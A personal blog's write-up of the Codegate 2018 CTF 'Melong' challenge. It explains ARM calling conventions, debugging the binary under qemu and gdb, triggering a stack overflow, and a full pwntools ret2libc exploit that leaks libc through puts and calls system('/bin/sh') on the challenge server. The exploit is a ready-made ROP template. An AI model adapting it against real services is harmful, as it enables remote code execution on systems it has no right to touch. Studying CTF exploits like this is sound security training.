陈永恒 Yongheng Chen (Ne0)

我有功于人不可念,而过则不可不念;人有恩于我不可忘,而怨则不可不忘. -- 菜根谭

Home Writeup Friend

Codegate 2018 Writeup

4 February 2018

Yesterday I played the Codegate CTF 2018 with Lotus-Eur3kA, a combination with Blue-Lotus and Eur3kA. Unluckily, there are several challenges we didn’t solve in time and finally we got rank 21.

Melong

The challenge is not difficult, but it is the first arm exploit I solved in a CTF game. So I will try to make this wp more detailed.The challenge can be download in here.

The exploit in arm is almost the same with that in X86. All we need to know is how arm makes function calls.
To be short, arm use r0-r3 to store the first 4 argument, with r0 storing the first and r4 the fourth. And no jmp or call instruction in arm, but b or bl instead.

Program info

Let’s take a look in the program

[*] '/home/ne0/Desktop/codegate/melong/melong'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

Debug

To run the program, I use qemu-arm:

qemu-arm  -g 1234 -L /usr/arm-linux-gnueabi ./melong

At another console, run the gdb for arm:

arm-none-eabi-gdb melong

In gdb, we run:

gdb-peda$ target remote localhost:1234
Remote debugging using localhost:1234
warning: A handler for the OS ABI "GNU/Linux" is not built into this configuration
of GDB.  Attempting to continue with the default armv5t settings.

Warning: not running or target is remote
Save/restore a working gdb session to file as a script
Usage:
    session save [filename]
    session restore [filename]

0xf67ceb00 in ?? ()
gdb-peda$ c
Continuing.

Then we see the program running:

➜  melong qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./melong 
Welcome to the BPSEC gym

1. Check your bmi
2. Exercise
3. Register personal training
4. Write daily record
5. Have some health menu
6. Out of the gym

Type the number:

Exploit

The logic in the program is easy, so I leave it out. To trigger buffer overflow, all you need to to is:

  1. check bmi once
  2. Register training, enter -1
  3. write dairy with unlimited length,thus overflow.

To find useful gadget, I use ROPgadget, and the only gadget I use is

0x00011bbc : pop {r0, pc}

The flow is the same as X86:

To leak, we set r0=puts got, pc=puts plt. After puts is called, the program will fetch the eip from stack, so we can fill it with the address we want to return. Thus the finall exp is

from pwn import *
remote_addr="ch41l3ng3s.codegate.kr"
remote_port=1199

libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
p=remote(remote_addr,remote_port)

def go(payload):
    choice(1)
    sla('Your height(meters) : ','1')
    sla('Your weight(kilograms) : ','1')
    choice(3)
    sla('take personal training?\n','-1')
    choice(4)
    sl(payload)
    choice(6)
    rl()
 
def hack():
    pop_r0=0x00011bbc
    main=0x110CC
    puts_plt=0x0104A8
    puts_got=0x2301c
    payload='A'*84+p32(pop_r0)+p32(puts_got)+p32(puts_plt)
    payload+=p32(main)*8
    go(payload)
    libc.address=u32(p.recv(4))-libc.symbols['puts']
    lg("LIBc",libc.address)
    payload='A'*84+p32(pop_r0)+p32(libc.search('/bin/sh').next())+p32(libc.symbols['system'])
    go(payload)
    p.interactive()

hack()

By the way, the libc is not provided in the attachment. But the libc in the server happens to match my qemu libc. So I solved it without having to find the correct libc

Zoo

To be continued….